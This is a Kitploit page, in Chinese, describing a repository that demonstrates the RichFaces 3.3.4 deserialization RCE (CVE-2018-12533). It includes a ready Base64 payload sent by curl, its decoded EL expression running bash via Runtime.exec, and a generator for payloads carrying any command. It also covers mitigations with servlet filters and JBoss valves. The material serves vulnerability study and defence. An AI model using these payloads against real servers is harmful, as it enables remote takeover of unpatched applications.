Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
richfaces-vulnerability-cve-2018-12533-rf-14310 — 演示了RichFaces 3.3.4中的CVE-2018-12533远程代码执行漏洞。包括载荷生成、Java反序列化分析以及通过过滤器或阀门进行缓解策略。 | Kitploit
工具/GitHubGitHub/mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育
GitHubmhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310

richfaces-vulnerability-cve-2018-12533-rf-14310

演示了RichFaces 3.3.4中的CVE-2018-12533远程代码执行漏洞。包括载荷生成、Java反序列化分析以及通过过滤器或阀门进行缓解策略。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
11年前尚未审核
分享

演示 RichFaces 3.3.4 中的远程代码执行漏洞以及如何缓解和/或阻止

  • 攻击示例
  • 克隆仓库
  • 解码 payload
  • 反序列化 Java 类
  • 生成用于测试漏洞的 payload
  • 如何缓解?
    • 如果你确实需要这个端点
    • 如果你不需要这个端点
  • 理解执行流程
  • 谁使用这个功能?
  • 提示
  • 相关链接

关于 CVE-2018-12533 的详细信息。其他版本的 RichFaces 也存在漏洞,详见此处。

攻击示例

root@kitploit:~
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

在 DATA/ 之后、.seam 之前的部分就是攻击 payload。这只是一个经过序列化、压缩和 Base64 编码的 Java 类。这是一种 RichFaces 为了兼容 URL 而略微修改的 Base64 格式。

该类包含一条以 表达式语言 格式编写的命令行,由应用程序(更准确地说是由 RichFaces)执行,而问题就在于此,因为任意代码都可以在服务器上执行。

上述 payload 中编码的命令是 touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(仅用于演示目的),我们稍后会验证这一点。

克隆仓库

root@kitploit:~
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

解码 payload

root@kitploit:~
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

将 payload 从 RichFaces 的 Base64 格式转换为标准的 Base64 格式。解码 Base64(此处是一个压缩后的二进制数据),然后解压缩,生成 Java 序列化 类的二进制文件。

反序列化 Java 类

这里我们将查看 payload 中包含的恶意命令。

以下命令将显示类的所有属性及其在类中定义的类型。它不显示运行时的类型,如果你不明白这意味着什么,也没关系。

这里我们借助 JBang 像脚本一样执行 Java 代码。

root@kitploit:~
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

输出类似如下内容:

root@kitploit:~
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ 关键点是属性 _paint.savedState.m.orig.expr,其中包含恶意代码,在这个例子中只是一个无害的代码,用于在磁盘上创建一个文件:touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

生成用于测试漏洞的 payload

root@kitploit:~
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# 或者
./Generator_Paint2DResourceImageData.java <一个命令>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui

输出将显示用于对易受攻击的服务器执行攻击的命令。只需调整 URL 即可。

如何缓解?

如果你确实需要这个端点

一种不太简单但性能更好的方法是修改 RichFaces 的代码以进行一些处理。下面提供了相关的调用栈。

另一种比之前更简单的方法是创建一个过滤器(javax.servlet.Filter),仅作用于相关路径,解码路径中的 Base64 并进行必要的检查,以确定请求是否应该继续或应被拒绝。需要强调的是,反序列化必须通过 LookAheadObjectInputStream 类进行,就像 org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) 中所做的那样,以尽力避免反序列化过程中的安全问题,例如恶意代码执行。

如果你不需要这个端点

一种方法是在应用程序前端的代理中阻止该端点的路径。

另一种我觉得值得实现的方法(但不能代替第一种方法)是创建一个过滤器(javax.servlet.Filter),仅作用于相关路径并阻止访问。阻止只需响应请求而不让过滤器链继续执行即可。你可以在响应体中放入一些文本,并使用 HTTP 状态码 410(Gone)。请记住,这个过滤器必须在应用程序的 web.xml 中定义。该过滤器的一个示例: PathBlockerFilter。

如果你使用 JBoss EAP,这里提到的过滤器可以实现为一个 valve(改动很小),并且:

  • 它将在 web.xml 中定义的过滤器之前执行
  • 必须在 jboss-web.xml 中定义为第一个 <valve>
  • 或者可以在 standalone.xml(或 domain.xml)的 urn:jboss:domain:web 子系统中通过 <valve> 标签定义
  • 该 valve 的示例: PathBlockerValve

理解执行流程

简而言之: 恶意代码由方法 org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext) 执行,具体在行 paint.invoke(facesContext, new Object[] {graphics,data._data});。

当发起 HTTP 请求时,它会到达方法 org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String),调用栈如下:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
  1. 在行 dataString = key.substring(dataStart); 中,提取 RichFaces 格式的 Base64(请记住,这个 Base64 最终是一个经过序列化和压缩的 Java 对象);
  2. 在行 objectArray = decrypt(dataArray) 中,这个 Base64 被解码和解压缩;
  3. 在行 data = in.readObject() 中,带有恶意代码的 Java 对象被反序列化,即获得了对象的实例。

然后,请求到达方法 org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext),调用栈如下:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

⚠️ 然后,在行 paint.invoke(facesContext, new Object[] {graphics,data._data}); 中,恶意代码最终被执行。

谁使用这个功能?

我举一个例子:组件 rich:paint2D:https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D

提示

可以通过激活类 org.ajax4jsf.resource.ResourceBuilderImpl 的 DEBUG 日志来查看应用程序接收到的 payload。

相关链接

  • https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html(主要)
  • https://seclists.org/fulldisclosure/2020/Mar/21
  • https://github.com/redtimmy/Richsploit
  • https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/
下载工具